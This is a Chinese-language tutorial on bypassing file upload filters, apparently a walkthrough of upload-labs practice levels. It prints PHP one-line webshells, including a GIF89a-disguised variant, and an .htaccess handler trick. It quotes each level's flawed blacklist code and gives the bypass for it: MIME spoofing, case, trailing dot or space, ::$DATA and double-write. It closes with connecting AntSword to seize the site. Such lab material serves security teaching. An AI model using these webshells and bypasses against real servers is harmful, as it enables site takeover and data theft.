文件上传漏洞 绕过分析

目录

一句话木马

常见函数

1.前端js绕过文件漏洞绕过

2.文件类型绕过(MIME)

3.黑名单绕过-同类型绕过 

4. 黑名单绕过-.htaccess绕过

5.黑名单绕过-点空格点绕过

6.黑名单绕过-大小写文件绕过

7.黑名单绕过-空格绕过

8.黑名单绕过-点绕过

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9.黑名单绕过-win10文件流特征绕过

10.黑名单绕过-双写绕过

*蚁剑连接，获取权限

---

文件上传靶场链接下载 Search · upload · GitHub

一句话木马

.各种类型的一句话木马

原理：一句话木马大多都是只有两个部分，一个是可以执行代码的函数部分，一个是接收数据的部分。利用文件上传漏洞，往目标网站中上传一句话木马，然后你就可以在本地通过中国菜刀或者中国蚁剑获取和控制整个网站目录。当连接你上传的脚本文件，菜刀/蚁剑就会自动向服务器以相应的传参方式执行相应的代码，让你得到访问服务器的权限，并可以下载和上传文件到服务器。
1.最常见的一句话木马

<?php @eval($_POST['连接蚁剑的密码']);?>

其中eval就是执行命令的函数，$_POST[‘a’]就是接收的数据。@表示后面即使执行错误，也不报错。eval（）函数表示括号内的语句字符串什么的全都当做代码执行。eval函数把接收的数据当作php代码来执行。这样我们就能够让插了一句话木马的网站执行我们传递过去的任意php语句。这便是一句话木马的强大之处。
2.当过滤了<?时的一句话木马

<script language='php‘>@eval($_POST['连接蚁剑的密码']);</script>

3.这是GIF89a图片头文件欺骗的一句话木马：

GIF89a? <script language="php">eval($_REQUEST[连接蚁剑的密码])</script>

入侵条件(注意)

（1）木马上传成功，未被杀

（2）知道文件的路径在哪里

（3）上传的木马能正常运行

常见函数

$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.'); //查找点
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

1.前端js绕过文件漏洞绕过

练习靶场：第1关    文件名的后缀不被允许，则会弹窗告知。此时上传文件的数据包没有发送到服务端，只是在客户端浏览器上使用JavaScript对数据包进行检测

1. 使用浏览器插件，删除检测文件后缀的js代码，上传文件

2. 上传文件的后缀改成允许上传的jpg/png，绕过js检测，再抓包，把后缀名改成可执行的文件即可上传成功

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传，请上传" + allow_ext + "类型的文件,当前文件类型为：" + ext_name;
        alert(errMsg);
        return false;
    }
}

2.文件类型绕过(MIME)

练习靶场：第2关   MIME：是设定某种扩展名的文件用一种应用程序来打开的方式类型，当该扩展名文件被访问的时候，浏览器会自动使用指定应用程序来打开

kali中判断Content-Type命令  mimetype php_webshell.php

分析源代码，通过MIME值判断上传文件的合法性

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '文件类型不正确，请重新上传！';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建！';
    }
}

上传php文件抓包修改可执行的MIME值

3.黑名单绕过-同类型绕过 

练习靶场：第3关  使用Burpsuite修改后缀为php3

观察源代码的黑名单发现开发者只禁用了四个文件的后缀名，但是我们可以尝试上传其他php的后缀名，例如php3  来进行绕过

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

4. 黑名单绕过-.htaccess绕过

练习靶场：第4关

分析源代码黑名单没有过滤.htaccess，我们可以使用这个特征进行绕过

.htaccess文件：apache服务器配置文件，负责相关网页下针对每个目录配置

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

新建记事本，输入下面的代码另存为 .htacces文件

SetHandler application/x-httpd-php

上传之后可以上传png图片

5.黑名单绕过-点空格点绕过

靶场练习，第5关第10关  使用Burpsuite修改后缀为  .php. .

分析 ： php代码从上往下执行一次，删除文件末尾的点，把后缀全部转换为小写，过滤DATA，去除后面的空格，我们可以编写后缀为点空格点

修改后缀为3.php. .   返回服务器为 3.php.   win10系统php.文件会自动过滤后面的点

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

6.黑名单绕过-大小写文件绕过

练习靶场：第6关    使用Burpsuite修改后缀为 .PHp

分析源代码黑名单没有过滤大小写，我们可以使用这个特征进行绕过，上传PHP文件

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

7.黑名单绕过-空格绕过

练习靶场：第7关    使用Burpsuite修改后缀为php 

win10系统php 文件会自动过滤后面的空格 

分析源代码黑名单没有过滤空格，我们可以使用这个特征进行绕过，上传PHP文件，使用burpsuite进行抓包，在php后缀加一个空格进行绕过 

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

8.黑名单绕过-点绕过

练习靶场：第8关    使用Burpsuite修改后缀为php.

win10系统php.文件会自动过滤后面的点

分析源代码黑名单没有过滤点，我们可以使用这个特征进行绕过，上传PHP文件 

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

9.黑名单绕过-win10文件流特征绕过

练习靶场：第9关    使用Burpsuite修改后缀为::$DATA

window流特征，php运行在win10上，如果文件名有::$DATA，会把DATA之后的数据当作文件流处理，并保持之前的文件名

分析源代码黑名单没有过滤：DATA，我们可以使用这个特征进行绕过，上传PHP文件

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

10.黑名单绕过-双写绕过

练习靶场：第11关     使用Burpsuite修改后缀为pphphp

黑名单中存在.php文件，如果存在.php文件，会把php替换为空，php代码从上往下执行一次，这个特点我们可以双写为 pphphp，执行会把中间的php替换为空，之后余下的php继续执行

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

*蚁剑连接，获取权限

蚁剑下载链接  GitHub - AntSwordProject/AntSword-Loader: AntSword 加载器

蚁剑源码  AntSwordProject · GitHub

上传含木马的图片后，获取图片链接，添加数据，点击添加后可添加数据